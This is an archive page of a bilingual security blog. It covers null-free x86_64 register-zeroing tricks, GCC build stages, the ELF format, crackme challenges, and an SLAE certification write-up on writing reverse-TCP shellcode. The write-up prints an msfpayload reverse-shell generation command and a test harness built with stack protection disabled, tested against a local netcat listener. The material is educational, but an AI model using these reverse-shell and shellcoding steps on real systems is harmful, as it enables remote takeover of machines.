Tradutor

Mostrando postagens com marcador reverse engineering. Mostrar todas as postagens
Mostrando postagens com marcador reverse engineering. Mostrar todas as postagens

sexta-feira, 15 de agosto de 2014

Odd ways to zeroing some x86_64 registers

Hi there! Here are some ways (retrocompatible instructions [1-2] and xmm) to fill registers with zero (NULL) bytes without have any zero bytes in bytecode.


400091:    6a 01                    pushq  $0x1
400093:    58                       pop    %rax
400094:    ff c8                    dec    %eax
Zeroing (1) %RAX at 5 bytes cost (very known indeed).


40008b:    97                       xchg   %eax,%edi
40008c:    48 c1 c8 20              ror    $0x20,%rax
400090:    97                       xchg   %eax,%edi
Zeroing (1) %RDI at 6 bytes cost.


40008b:    92                       xchg   %eax,%edx
40008c:    48 99                    cqto
Zeroing (1) %RDX at 3 bytes cost.


40008b:    92                       xchg   %eax,%edx
40008c:    48 99                    cqto
40008e:    52                       push   %rdx
40008f:    58                       pop    %rax
Zeroing (2) %RDX e %RAX at 5 bytes cost.


40008b:    48 31 ff                 xor    %rdi,%rdi
40008e:    48 f7 e7                 mul    %rdi
Zeroing (3) %RAX, %RDX e %RDI at 6 bytes cost (however, widely known).


40008b:    97                       xchg   %eax,%edi
40008c:    48 c1 c8 20              ror    $0x20,%rax
400090:    f7 e7                    mul    %edi
400092:    50                       push   %rax
400093:    5f                       pop    %rdi
Zeroing (3) %RAX, %RDX e %RDI at 9 bytes cost.


400090:    c5 fc 77                 vzeroall
400093:    66 48 0f 7e c2           movq   %xmm0,%rdx
Zeroing (1) general-purpose reg %RDX and (all) YMM at 8 bytes cost.


400090:    66 0f df c0              pandn  %xmm0,%xmm0
400094:    66 48 0f 7e c2           movq   %xmm0,%rdx
Zeroing (1) general-purpose reg %RDX and (1) %XMM0 at 9 bytes cost.


400090:    50                       push   %rax
400091:    5a                       pop    %rdx
400092:    48 f7 d2                 not    %rdx
400095:    48 21 d0                 and    %rdx,%rax
Zeroing (1) %RAX at 8 bytes cost.


400097:    52                       push   %rdx
400098:    58                       pop    %rax
400099:    f7 d0                    not    %eax
40009b:    21 c2                    and    %eax,%edx
Zeroing (1) %RDX at 6 bytes cost.


Use them at will.


[1] - How NOP nearly became a non-NOP on AMD64
[2] - x86oddities

sexta-feira, 7 de junho de 2013

(Un)building Software - English Version

“Reverse engineering is the process of extracting the knowledge or design blueprints from anything man-made. Software is one of the most complex and intriguing technologies around us nowadays, and software reverse engineering is about opening up a program’s 'box' and looking inside. Of course, we won’t need any screwdrivers on this journey. Just like software engineering, software reverse engineering is a purely virtual process, involving only a CPU, and the human mind” Reversing – Secrets of Reverse Engineering – Eldad Eilam

Before we get involved with reversing itself it's important to learn how the binary software assembling really works.

For its construction, it is necessary (unless you are masochistic and want to build machine code directly) a programming language. This translates as a standardized method to inform instruction to a processor. Each language has its own standardization as well as their level of abstraction (low, medium and high). 

Following, are highlighted the procedures demanded for the transformation of the written code in a block of statements "understandable" by the computer.


Software assembling

The construction or compilation is a multistage process that involves various tools. In our case, the tools used will be the front-end of gcc (GNU Compiler), the cc1 (C Compiler)the as (GNU Assembler), the collect2 (ld wrapper), and ld (GNU Linker). The complete set of tools used in the process of compilation is called toolchain, which is already installed on GNU / Linux most of time. The creation of specific toolchains are essential for cross-compiling but this subject is for a future post. 

While invoking GCC the sequence of commands executed obey the following stages:

- pre-processing (macro expansion)
- compilation (source code to assembly language)
- assembler (assembly language into machine code)
- linking (creating the final binary)



Let us create as example a minimalist program in C with the famous Hello World routine.

# mkdir construindo; cd construindo
# echo -e "#include <stdio.h>\nint main() { printf(\"Hello World\\\n\"); return 0;}" > programa1.c

To this compilation we will use gcc.

# gcc programa1.c -o programa1

While running gcc the preprocessing, compilation, assembly and linking steps are performed one after another in a transparent manner until the ELF binary 'programa1' is finally created.

# ./programa1
Hello World

Then, for better understanding, we will cover each phase manually. 


Preprocessing and Compilation

Preprocessing

In past versions of gcc, preprocessing was done as a separate stage through cpp (C preprocessor):

# cpp programa1.c -o programa1.i

The output was a file with expanded macros and declared header files included. The preprocessor, in fact, translate the average abstraction of C language (that we programmed) to another one to be recognizable by the next stage of the build.

# 1 "programa1.c"
# 1 "<command-line>"
# 1 "programa1.c"
# 1 "/usr/include/stdio.h" 1 3 4
# 28 "/usr/include/stdio.h" 3 4
# 1 "/usr/include/features.h" 1 3 4
...
extern void funlockfile (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__$
# 940 "/usr/include/stdio.h" 3 4
# 2 "programa1.c" 2
int main(void) { printf("Hello World\n"); return 0;}

This first stage is currently embedded by cc1 compiler when used with default options, ie, it is usually omitted.

# gcc programa1.c -o programa1 -v
...
 /usr/lib/gcc/x86_64-linux-gnu/4.7/cc1 -quiet -v -imultiarch x86_64-linux-gnu programa1.c -quiet -dumpbase programa1.c -mtune=generic -march=x86-64 -auxbase programa1 -version -fstack-protector -o /tmp/ccZvPRPS.s
...

As can be seen in verbose mode the cc1 performs preprocessing and compilation generating the assembly file directly. We can make the cc1 be invoked twice, with the use of -no-integrated-cpp option primarily for preprocessing, generating the expanded file (*. I) and then to compile, generating mounting file (*. s). This proceeding is useful when you want to use a preprocessor alternative.

# gcc programa1.c -o programa1 -v -no-integrated-cpp
...
 /usr/lib/gcc/x86_64-linux-gnu/4.7/cc1 -E -quiet -v -imultiarch x86_64-linux-gnu programa1.c -mtune=generic -march=x86-64 -fstack-protector -o /tmp/ccjNwBsL.i
...
 /usr/lib/gcc/x86_64-linux-gnu/4.7/cc1 -fpreprocessed /tmp/ccjNwBsL.i -quiet -dumpbase programa1.c -mtune=generic -march=x86-64 -auxbase programa1 -version -fstack-protector -o /tmp/cc0B4fmf.s
...

We may also interrupt the process of gcc, invoking cc1 only once with the intention of you generate the file (*. I) preprocessed.

# gcc programa1.c -o programa1.i  -v -E
...
 /usr/lib/gcc/x86_64-linux-gnu/4.7/cc1 -E -quiet -v -imultiarch x86_64-linux-gnu programa1.c -o programa1.i -mtune=generic -march=x86-64 -fstack-protector
...

To do this we use the option '-E'.


Compilation

The main purpose of using cc1 through the expanded file or not (programa1.i) is generate its respective assembly code, low-level language.

# gcc programa1.i -o programa1.s -v -S
...
 /usr/lib/gcc/x86_64-linux-gnu/4.7/cc1 -fpreprocessed programa1.i -quiet -dumpbase programa1.i -mtune=generic -march=x86-64 -auxbase-strip programa1.s -version -o programa1.s -fstack-protector
...

# gcc programa1.c -o programa1.s -v -S
...
 /usr/lib/gcc/x86_64-linux-gnu/4.7/cc1 -quiet -v -imultiarch x86_64-linux-gnu programa1.c -quiet -dumpbase programa1.c -mtune=generic -march=x86-64 -auxbase-strip programa1.s -version -o programa1.s -fstack-protector
...

The option '-S' instructs gcc to only convert the C code, preprocessed or not, to assembly language (programa1.s).

.file "programa1.c"
.section .rodata
.LC0:
.string "Hello World"
.text
.globl main
.type main, @function
main:
.LFB0:
.cfi_startproc
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
movq %rsp, %rbp
.cfi_def_cfa_register 6
movl $.LC0, %edi
call puts
movl $0, %eax
popq %rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size main, .-main
.ident "GCC: (Ubuntu/Linaro 4.7.2-2ubuntu1) 4.7.2"
.section .note.GNU-stack,"",@progbits

Attention! The assembly code generated may be different on your computer. This discrepancy may have been caused by several reasons: gcc version; architecture used; compilation flags.

To generate the corresponding code in 32-bit, just use the-m32.

# gcc programa1.i -S -m32

or

# gcc programa1.c -S -m32

See the difference:

.LFB0:
.cfi_startproc
pushl %ebp
.cfi_def_cfa_offset 8
.cfi_offset 5, -8
movl %esp, %ebp
.cfi_def_cfa_register 5
andl $-16, %esp
subl $16, %esp
movl $.LC0, (%esp)call puts
movl $0, %eax
leave
.cfi_restore 5
cfi_def_cfa 4, 4ret
.cfi_endproc


Assembler

In assembly the code is converted into their related instructions into machine code. The result is an object file (object file).

# gcc programa1.s -o programa1.o -v -c
...
 as -v --64 -o programa1.o programa1.s
...

# gcc -c programa1.s -o programa1.o -v -m32 -c
...
 as -v --32 -o programa1.o programa1.s
...

The '-c' option tell the gcc to compile only or just mount the source file, skipping the linking process.

As seen above, the "as" assembles the binary using the assembly file(programa1.s). When we run the file against the constructed object-file we can see the ELF structure.

# file programa1.o
programa1.o: ELF 32-bit LSB relocatable, Intel 80386, version 1 (SYSV), not stripped

programa1.o: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), not stripped

However as the build process has not been finished, when we try to run it we get the message that it is impossible to run the binary file. By using ltrace (analysis tool called the libraries) we get the message "./programa1.o is not an ELF executable nor shared library". The assembler built a block of binary instructions for the architecture but not defined the addresses related to the external functions and consequently not relocated the binary to the correct execution.


Linking

Until then the object file assembled do not know where to look (the address of the functions necessary for the correct functioning). The Linking is, in this case, the process of agglutination of the object files, symbol resolution and relocation of the sections and their addresses in binary once generated.

Let's see.

# gcc programa1.o -o programa1 -v
...
 /usr/lib/gcc/x86_64-linux-gnu/4.7/collect2 --sysroot=/ --build-id --no-add-needed --as-needed --eh-frame-hdr -m elf_x86_64 --hash-style=gnu -dynamic-linker /lib64/ld-linux-x86-64.so.2 -z relro -o programa1 /usr/lib/gcc/x86_64-linux-gnu/4.7/../../../x86_64-linux-gnu/crt1.o /usr/lib/gcc/x86_64-linux-gnu/4.7/../../../x86_64-linux-gnu/crti.o /usr/lib/gcc/x86_64-linux-gnu/4.7/crtbegin.o -L/usr/lib/gcc/x86_64-linux-gnu/4.7 -L/usr/lib/gcc/x86_64-linux-gnu/4.7/../../../x86_64-linux-gnu -L/usr/lib/gcc/x86_64-linux-gnu/4.7/../../../../lib -L/lib/x86_64-linux-gnu -L/lib/../lib -L/usr/lib/x86_64-linux-gnu -L/usr/lib/../lib -L/usr/lib/gcc/x86_64-linux-gnu/4.7/../../.. programa1.o -lgcc --as-needed -lgcc_s --no-as-needed -lc -lgcc --as-needed -lgcc_s --no-as-needed /usr/lib/gcc/x86_64-linux-gnu/4.7/crtend.o /usr/lib/gcc/x86_64-linux-gnu/4.7/../../../x86_64-linux-gnu/crtn.o
...

or

# gcc programa1.o -o programa1 -v -m32
...
 /usr/lib/gcc/x86_64-linux-gnu/4.7/collect2 --sysroot=/ --build-id --no-add-needed --as-needed --eh-frame-hdr -m elf_i386 --hash-style=gnu -dynamic-linker /lib/ld-linux.so.2 -z relro -o programa1 /usr/lib/gcc/x86_64-linux-gnu/4.7/../../../../lib32/crt1.o /usr/lib/gcc/x86_64-linux-gnu/4.7/../../../../lib32/crti.o /usr/lib/gcc/x86_64-linux-gnu/4.7/32/crtbegin.o -L/usr/lib/gcc/x86_64-linux-gnu/4.7/32 -L/usr/lib/gcc/x86_64-linux-gnu/4.7/../../../i386-linux-gnu -L/usr/lib/gcc/x86_64-linux-gnu/4.7/../../../../lib32 -L/lib/i386-linux-gnu -L/lib/../lib32 -L/usr/lib/i386-linux-gnu -L/usr/lib/../lib32 -L/usr/lib/gcc/x86_64-linux-gnu/4.7 -L/usr/lib/gcc/x86_64-linux-gnu/4.7/../../../i386-linux-gnu -L/usr/lib/gcc/x86_64-linux-gnu/4.7/../../.. -L/lib/i386-linux-gnu -L/usr/lib/i386-linux-gnu programa1.o -lgcc --as-needed -lgcc_s --no-as-needed -lc -lgcc --as-needed -lgcc_s --no-as-needed /usr/lib/gcc/x86_64-linux-gnu/4.7/32/crtend.o /usr/lib/gcc/x86_64-linux-gnu/4.7/../../../../lib32/crtn.o
...

What gcc actually does is invoke collect2 (wrapper for the ld (binutils)) stating all the object files to be linked. 

It is true that ld can be used directly, of all sorts, the gcc/collect2 now informs all libs needed for linking, which makes it much easier


After the process is finished, you can verify that the executable is properly linked.

# file programa1
programa1: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0xa0c...bf73, not stripped

programa1: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0xe07...8df3, not stripped

And finally run it.

# ./programa1
Hello World


Conclusion

We were able, in this post, to follow briefly the process of building an ELF executable, exemplifying their procedures in GNU / Linux using GCC. Next, we will begin a practical approach of reverse engineering that will enable an understanding of the ELF structure as well as the method and tools used in reversing.

See you there!

Translated by: Pedro Fausto

More Information

Reversing – Secrets of Reverse Engineering – Eldad Eilam
Reverse Engineering
A Introduction to GCC – Brian Gough
Compiler, Assembler, Linker and Loader: A Brief Story
Basics of GCC compilation process
GNU C Compiler Internals/GNU C Compiler Architecture
GCC front-end Whitepaper - Andi Hellmund
Programming language
List of programming languages by type
C (programming language)
Low-level programming language
Assembly Language
Machine code

quinta-feira, 6 de junho de 2013

(Des)construindo Software - Parte 2

Ao finalizar o primeiro post, disse-lhes que neste iniciaríamos uma abordagem prática da engenharia reversa que possibilitaria um entendimento objetivo da estrutura ELF. Contudo, optei por inverter essa ordem, sendo que agora daremos início diretamente pelo ELF, a despeito de que a análise da sua estrutura, mesmo que realizada minimamente, em si já é um meio de reversão, e, somente empós, fá-la-emos propriamente lidando com o respectivo binário.

Preciso também fazer menção às correções que efetuei no primeiro post da sequência. Graças ao Ygor Parreira (valeu, dmr!), identifiquei informações desatualizadas na descrição do processo de compilação. Por isso, para que não haja prejuízo no estudo, a releitura se faz obrigatória.

Os arquivos deste post estão disponíveis no GitHub.


ELF (Pointed Ears)

O ELF (Executable and Linking Format) é um formato (estrutura) que especifica a composição e organização de um arquivo-objeto (representação binária, resultado do procedimento de montagem) para que este seja funcional ao sistema operacional que o utiliza; é, em miúdos, um mapa que permite a criação/utilização correta, através dos linker e loader, dos arquivos com esse padrão.

Originalmente desenvolvido e publicado pelos USL (UNIX System Laboratories) como parte da ABI, o ELF se tornou padrão em vários sistemas operacionais Unix-like, substituindo formatos antigos como a.out e COFF. Hoje em dia é utilizado também em sistemas operacionais não-Unix como OpenVMS, BeOS e Haiku, assim como em videogames, celulares, tablets, roteadores, televisões etc.

No tocante à introdução (pg. 45) do System V - Application Binary Interface (ABI), Ed. 4.1 (documento que descreve a interface entre o programa e o sistema operacional ou outro programa), faço uma ressalva à afirmação "o arquivo-objeto é criado pelo assembler 'e' link editor", pois, contrariedade a essa regra foi demonstrada na criação do crackme.03, ao ser desprezada a lincagem. De toda sorte, num processo normal de compilação é correto se dizer que o procedimento de lincagem estará presente.


Tipos de ELF (Middle-Earth, D&D, ...)

Discorramos um pouco sobre os tipos mais comuns de arquivos-objeto ELF.



Relocável

O arquivo-objeto relocável possui código e dados prontos para a combinação com outros arquivos-objeto, que comporão um executável ou um objeto compartilhado.

Vejamos abaixo o programa1.o.

gcc programa1.c -m32 -c

# file programa1.o
programa1.o: ELF 32-bit LSB  relocatable, Intel 80386, version 1 (SYSV), not stripped

# readelf-h programa1.o | grep Type
  Type:                              REL (Relocatable file)

# readelf -r programa1.o 
Relocation section '.rel.text' at offset 0x3ec contains 2 entries:
 Offset     Info    Type            Sym.Value  Sym. Name
0000000c  00000501 R_386_32          00000000   .rodata
00000011  00000a02 R_386_PC32        00000000   puts

Relocation section '.rel.eh_frame' at offset 0x3fc contains 1 entries:
 Offset     Info    Type            Sym.Value  Sym. Name
00000020  00000202 R_386_PC32        00000000   .text

Nesse primeiro exemplo, o gcc compilou e montou o binário relocável programa1.o que ainda não teve os endereços para execução informados em sua estrutura (ELF), assim como também não teve resolvidas as referências de símbolos.

Com o readelf constatamos que os endereços não foram definidos.

# readelf -S programa1.o 
There are 13 section headers, starting at offset 0x11c:

Section Headers:
  [Nr] Name          Type            Addr     Off    Size   ES Flg Lk Inf Al
  [ 0]               NULL            00000000 000000 000000 00      0   0  0
  [ 1] .text         PROGBITS        00000000 000034 00001c 00  AX  0   0  4
  [ 2] .rel.text     REL             00000000 0003ec 000010 08     11   1  4
  [ 3] .data         PROGBITS        00000000 000050 000000 00  WA  0   0  4
  [ 4] .bss          NOBITS          00000000 000050 000000 00  WA  0   0  4
  [ 5] .rodata       PROGBITS        00000000 000050 00000c 00   A  0   0  1
...

E através do nm temos a lista de todos os símbolos; a serem resolvidos.

# nm -a programa1.o
00000000 b .bss
...
00000000 d .data
...
00000000 t .text
00000000 T main
...

Segue outro exemplo utilizando o relocável programa2.o (versão em assembly do programa1).

nasm -f elf32 programa2.asm

# readelf -r programa2.o 
Relocation section '.rel.text' at offset 0x260 contains 1 entries:
 Offset     Info    Type            Sym.Value  Sym. Name
0000000b  00000201 R_386_32          00000000   .data


Executável

Este tipo de arquivo-objeto contém as informações necessárias à criação de sua respectiva imagem de processo por meio da função (syscall) exec.

Continuemos com o programa1.

# gcc programa1.c -m32 -o programa1
# ./programa1
Hello World

# file programa1
programa1: ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=df0b281079aace57fec72570a37ba345c7679a59, not stripped

# readelf -S programa1
There are 30 section headers, starting at offset 0x7f0:

Section Headers:

  [Nr] Name           Type           Addr     Off    Size   ES Flg Lk Inf Al
...
  [12] .plt           PROGBITS       080482c0 0002c0 000040 04  AX  0   0 16
  [13] .text          PROGBITS       08048300 000300 000194 00  AX  0   0 16
  [14] .fini          PROGBITS       08048494 000494 000014 00  AX  0   0  4
  [15] .rodata        PROGBITS       080484a8 0004a8 000014 00   A  0   0  4
...

Pode ser visto acima que o arquivo-objeto do tipo executável teve sua estrutura relocada.

Podemos confirmar isso, também, através do cabeçalho ELF. Vejam que o objeto relocável não possui endereço de entrada.

# readelf -h programa1.o | grep Entry
  Entry point address:               0x0

Porém, possui quando executável.

# readelf -h programa1 | grep Entry
  Entry point address:               0x8048300

No programa1, a lincagem (collect2) amarrou (symbol binding) as referências locais e as concernentes às bibliotecas dinâmicas, e relocou as estruturas de dados, prontificando o arquivo-objeto à execução.

Escrutinemos mais ainda com a tool ldd que nos lista as bibliotecas compartilhadas necessárias ao executável.

# ldd programa1
linux-gate.so.1 (0xf76ea000)
libc.so.6 => /usr/lib32/libc.so.6 (0xf751b000)
/lib/ld-linux.so.2 (0xf76eb000)

Vemos acima que o programa1.c faz uso da biblioteca compartilhada libc (função printf).

O programa2 (assembly), entretanto, tem suas peculiaridades.

ld -m elf_i386 programa2.o -o programa2
./programa2 
Hello World

# readelf -r programa2
There are no relocations in this file.

# file programa2
programa2: ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), statically linked, not stripped

# ldd programa2
not a dynamic executable

O ldd não apresenta nenhuma biblioteca compartilhada, uma vez que o programa2 só faz uso de syscalls. Tal fato denota que não foi necessário se efetuar a combinação com outros arquivos-objeto, restando apenas perfazer os demais procedimentos como a resolução das referências de símbolos locais e a relocação. É importante destacar que o programa1, diferentemente do programa2, será também lincado dinamicamente a cada nova instanciação, por conta de seus símbolos indefinidos.


Objeto Compartilhado

Este arquivo-objeto detém código e dados apropriados para duas situações de lincagem.


Objeto compartilhado combinado com outro objeto compartilhado e/ou com relocável.

Inicialmente, engendremos o arquivo-objeto compartilhado libfoo1.so.

# gcc -c -fPIC -m32 foo1.c -o foo1.o
# readelf -h foo1.o  | grep Type
  Type:                              REL (Relocatable file)

# gcc -shared -m32 -o libfoo1.so foo1.o
# readelf -h libfoo1.so | grep Type
  Type:                              DYN (Shared object file)

Veja abaixo a criação a partir da combinação do arquivo-objeto compartilhado libfoo1.so com o relocável foo2.o.

# gcc -c -fPIC -m32 foo2.c -o foo2.o
# gcc -shared -m32 -o libfoo2.so foo2.o libfoo1.so
# readelf -h libfoo2.so | grep Type
  Type:                              DYN (Shared object file)

E finalmente a combinação dos dois objetos compartilhados, libfoo2.so e libfoo1.so.

# gcc -shared -m32 -o libfoo3.so libfoo2.so libfoo1.so
# readelf -h libfoo3.so | grep Type
  Type:                              DYN (Shared object file)


Combinado com um executável ou com outro objeto compartilhado para criação da imagem do processo pelo dynamic linker.

Este é o caso do nosso programa1 que ao ser executado é combinado, previamente a sua inicialização, com os demais arquivos-objeto compartilhados, através da ld-linux.so. Isso também ocorre com as próprias bibliotecas compartilhadas ao serem carregadas pelo sistema.


Core Dump

Um core dump (memory dump, system dump) é um arquivo-objeto contendo o estado da memória de um determinado programa, produzido pelo sistema geralmente quando aquele termina anormalmente (crashed).

Vejamos, como usuário root.

# gcc -m32 coredump.c -o coredump

# ulimit -c
0
# ulimit -c unlimited
# ulimit -c

unlimited

# ./coredump
Falha de segmentação (imagem do núcleo gravada)

Geralmente, o dump é salvo na pasta atual com o nome de core. A localização e formato do nome do dump podem ser modificados no arquivo /proc/sys/kernel/core_pattern. Mais informações: man core.

# file core
core: ELF 32-bit LSB  core file Intel 80386, version 1 (SYSV), SVR4-style, from './coredump'

Se estiverem utilizando Arch Linux, como foi o meu caso, faz-se necessário extrair o core dump de um sistema de journaling utilizado pelo systemd.

# systemd-coredumpctl | tail
...
Sex 2013-05-31 07:41:01 BRT    447     0     0  11 /home/uzumaki/git/hb/desconstruindo/coredump

# systemd-coredumpctl dump -o core
TIME                           PID   UID   GID SIG EXE
Sex 2013-05-31 07:41:01 BRT    447     0     0  11 /home/uzumaki/git/hb/desconstruindo/coredump
More than one entry matches, ignoring rest.

# file core
core: ELF 32-bit LSB  core file Intel 80386, version 1 (SYSV), SVR4-style, from './coredump'

Um exemplo de uso do core dump seria com o gdb para se investigar a causa do crash.

# gdb -q ./coredump core
Reading symbols from /home/uzumaki/git/hb/desconstruindo/coredump...(no debugging symbols found)...done.
[New LWP 447]

warning: Could not load shared library symbols for linux-gate.so.1.
Do you need "set solib-search-path" or "set sysroot"?
Core was generated by `./coredump'.
Program terminated with signal 11, Segmentation fault.
#0  0x4c4b4a49 in ?? () 

(gdb) backtrace
#0  0x4c4b4a49 in ?? ()
#1  0x504f4e4d in ?? ()
#2  0x54535251 in ?? ()
#3  0x58575655 in ?? ()
#4  0xf7005a59 in ?? ()
...


Pode ser visto acima que a falha na segmentação ocorreu por conta do overflow dos caracteres.


Estrutura ELF (Crystal Bones, Wood Bones, ...)

O formato ELF provê visões paralelas do conteúdo do binário que refletem as diferentes necessidades ao se lincar e ao se executar um programa. Inicialmente estudaremos a Visão de Lincagem.
 


Na estrutura há apenas um componente com localização fixa, o ELF Header que se encontra no offset zero do arquivo-objeto. Nele são armazenadas as informações que descrevem a organização do restante do arquivo.

A Program header table instrui o sistema como criar uma imagem de processo, portanto é um componente obrigatório nos arquivos-objeto executáveis e nos compartilhados; já os relocáveis não fazem uso dela.

As Sections contemplam a massa de informação do arquivo-objeto utilizada na visão de lincagem, como instruções, dados, tabela de símbolos, informação de relocação, dentre outros.

A Section header table contém informações descritivas das sections do objeto. Nela, para cada section, há uma entrada que fornece dados como nome, tamanho, dentre mais. Na lincagem o arquivo-objeto a ser combinado deve obrigatoriamente conter tal tabela. Outros arquivos-objetos podem ou não a conter.


Tipos de Dados (Not dices)

Seguem os tipos usados para a representação de dados nos arquivo-objetos ELF.


Criei o elfdatatypes para mostrar o tamanho dos tipos em ambas arquiteturas.


ELF Header (Game Master)

Existem dois tipos de ELF header em /usr/include/elf.h: Elf32_Ehdr e Elf64_Ehdr. Seus nomes são contrações em inglês (_Ehdr -> Elf header). ;)

Segue estrutura em C.



Verifiquemos o tamanho do ELF Header do programa1.

# readelf -h programa1 | grep this
  Size of this header:               52 (bytes)

O posicionamento do ELF Header, como já citado, sempre será no offset zero do arquivo-objeto, no entanto seu tamanho dependerá da arquitetura: 32 bits (52 bytes); 64 bits (64 bytes).

Vejamos os 52 bytes relativos ao ELF Header 32.

# xxd -l 52 programa1
0000000: 7f45 4c46 0101 0100 0000 0000 0000 0000  .ELF............
0000010: 0200 0300 0100 0000 0083 0408 3400 0000  ............4...
0000020: f007 0000 0000 0000 3400 2000 0800 2800  ........4. ...(.
0000030: 1e00 1b00                                ....

Em conformidade com a estrutura Elf32_Ehdr, os 16 primeiros bytes são concernentes à identificação do arquivo-objeto (e_ident[16]). Se somarmos o tamanho dos tipos que se seguem (Elf32_Half e_type [2 bytes], Elf32_Half e_machine [2 bytes], Elf32_Word e_version [4 bytes]), chegaremos ao offset 24 que é referente ao entry point (0083 0408).

# readelf -h programa1 | grep Entry
  Entry point address:               0x8048300 (00830408 em ordem inversa)

Antes de finalizarmos, para não ficar nenhum dissabor, vejamos um código em C (elfentry) que lê o valor Entry Point do arquivo-objeto programa2.

# gcc -m32 elfentry.c -o elfentry
# ./elfentry
Entry Point: 0x8048080

# readelf -h programa2 | grep Entry
  Entry point address:               0x8048080


Ficamos por aqui. No próximo encontro, esmiuçaremos a estrutura ElfN_Ehdr.

Até lá!   o/


http://maxpaint.livejournal.com/

Mais Informações

ELF - Wikipedia
Elf (another kind) - Wikipedia
ABI - System V Application Binary Interface - SCO
The ELF Object File Format - Introduction - Linux Journal
The ELF Object File Format by Dissection - Linux Journal
Dissecando ELF - Felipe Pena
Linker (computing) - Wikipedia
Relocation (computing) - Wikipedia
Loader (computing)

segunda-feira, 6 de maio de 2013

Crackme 03 - Source Code

E não demorou quase nada!

Parabéns ao Fernando Mercês e ao Andrey Arapov que quebraram rapidinho o binário utilizando formas distintas e super interessantes.

Este é o walk through (análise dinâmica) do Andrey.

Abaixo o do Fernando Mercês (análise estática).




Resumindo, o ELF Header do crackme.03.32 foi feito com base no Teensy ELF Header do Brian Raiter, ou seja, totalmente à mão, e não pelos assembler e linker (este último que nem foi necessário). Por isso a "mágica" do entrypoint estar na área que pertenceria somente ao Header. ;) Para conseguir isso, utilizei fields do header que são desprezados na inicialização do binário, aglutinando-os e brincando com eles para atingir o "mal necessário".

Outro aspecto do binário é o desofuscamento dinâmico da string 'Omedetou' por meio do algoritmo uzumaki.

Há, também, dois checksums: um do header (com chave criptografada) e o outro do binário inteiro (com chave simples).

Mas tudo isso foi implementado apenas para desviar o cracker do caminho mais simples que é o "patch the jump".


Espero que tenham gostado.
Até a próxima! o//

domingo, 5 de maio de 2013

Crackme 03

Olá!

Como outrora prometido, disponibilizo-lhes o novo crackme (crackme.03.32 - Linux/x86).

Esta versão segue uma abordagem diferente das anteriores, pois não há input a ser descoberto. ;D

Vocês podem fazer o download do binário diretamente do git.

O código fonte (assembly) será disponibilizado logo após o primeiro aventureiro me informar como conseguiu quebrá-lo.

Regras
- Informar a string de parabéns
- Informar o respectivo algoritmo de ocultamento
- Alteração do binário permitida (quanto menos bytes alterados, melhor o cracking)

Ressalto que o nível de dificuldade está mais atrelado à impossibilidade de análise dinâmica. Mas se você conseguir reverter isso, parabéns!

Boa diversão!





Mais Informações

domingo, 7 de abril de 2013

Crack them all!

Olá pessoal!

Recentemente, por conta do curso SLAE, conheci o Andrey Arapov; russo gente fina! Em um de nossos talks enviei-lhe um crackme que tinha preparado para o Cogumelo Binário. Não deu outra, o cara só descansou quando conseguiu descobrir a senha!

Mas não paramos por aí! Após analisar o walkthrough dele, compilei uma nova versão com alguns tricks adicionais.

Deu no mesmo! (LOL) Logo Andrey o crackeou... e postou o respectivo walkthrough.


Congratulations Andrey! You rocks!


Os binários estão disponíveis no github, assim como os códigos fonte.

Sim, e a próxima versão, com um plus de dificuldade, já está na prancheta!

Have fun!


Mais Informações


quarta-feira, 20 de março de 2013

SLAE - 2nd Assignment - Shell Reverse TCP

/*
   Este post é uma sequência. Para melhor entendimento, vejam:
*/

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:


Student ID: SLAE-237

Códigos deste post:
https://github.com/geyslan/SLAE/tree/master/2nd.assignment

<UPDATE>
   O shellcode final deste post foi aceito no repositório Shell-Storm.
   Tks Jonathan Salwan.
</UPDATE>


Segundo Exame

Vivek, para este assignment, designou o seguinte:

Criar um shellcode de Shell Reverse TCP

- Executar um shell ao conectar no host reverso
- Tornar fácil a configuração dos IP e porta

Como material, analisar o linux/x86/shell_reverse_tcp do Metasploit usando o libemu.


libemu - sctest - strace - man

Comecei gerando o fluxograma do shellcode do Metasploit.

# msfpayload linux/x86/shell_reverse_tcp LHOST=127.0.0.1 R | /opt/libemu/bin/sctest -Ss 100000 -vvv -G shell_reverse_tcp_metasploit.dot

# dot shell_reverse_tcp_metasploit.dot -T png -o shell_reverse_tcp_metasploit.png


Vê-se que, diferentemente dos shell_bind_tcp nos quais trabalhamos nos posts anteriores, o shell_reverse_tcp, logo após a criação do socket (socket), faz a duplicação (dup2) dos files descriptors e já efetua a conexão (connect) nos endereço e porta definidos para finalmente executar (execve) o "/bin/sh".

Usei também o strace para analisar o netcat, como complemento ao libemu. O que me me poupou tempo, pois não precisei reconstruir o binário para entender melhor a syscall connect; e nem é necessário comentar que o uso do man deixou o meu .bash_history um pouquinho mais gordo. =D

# nc -l 127.0.0.1 55555

Em outro terminal.

# strace -e socket,connect nc 127.0.0.1 55555
...
socket(PF_INET, SOCK_STREAM, IPPROTO_TCP) = 3
connect(3, {sa_family=AF_INET, sin_port=htons(55555), sin_addr=inet_addr("127.0.0.1")}, 16) = -1 EINPROGRESS (Operation now in progress)

Com as novas informações anotadas e revisadas, construí de primeira o shellcode enxuto em assembly nasm.



Por conta da possibilidade trivial de se configurar a porta e o IP, o shellcode só estará livre de null-bytes caso esses valores não tenham numeração em hexa x00. Entretanto, se o null-byte realmente impossibilitar a utilização do shellcode, temos outras maneiras de darmos bypass. Em próximos posts veremos isso.

O shellcode final teve um aumento de 4 bytes, ficando com  72 (metasploit = 68). Esse acréscimo se deu pela propriedade da configuração do IP e da Porta nos seus primeiros bytes. Mesmo com as instruções diferentes, o resultado foi igual. Vejam.



TESTANDO

# gcc -m32 -fno-stack-protector -z execstack shellcode.c -o shellcode

Terminal host
# nc -l 127.1.1.1 55555

Terminal cliente
# ./shellcode

Terminal host novamente
# netstat -anp | grep shell
tcp        0      0 127.0.0.1:51600   127.1.1.1:55555   ESTABLISHED   976/shellcode


Reversing (Gotcha)

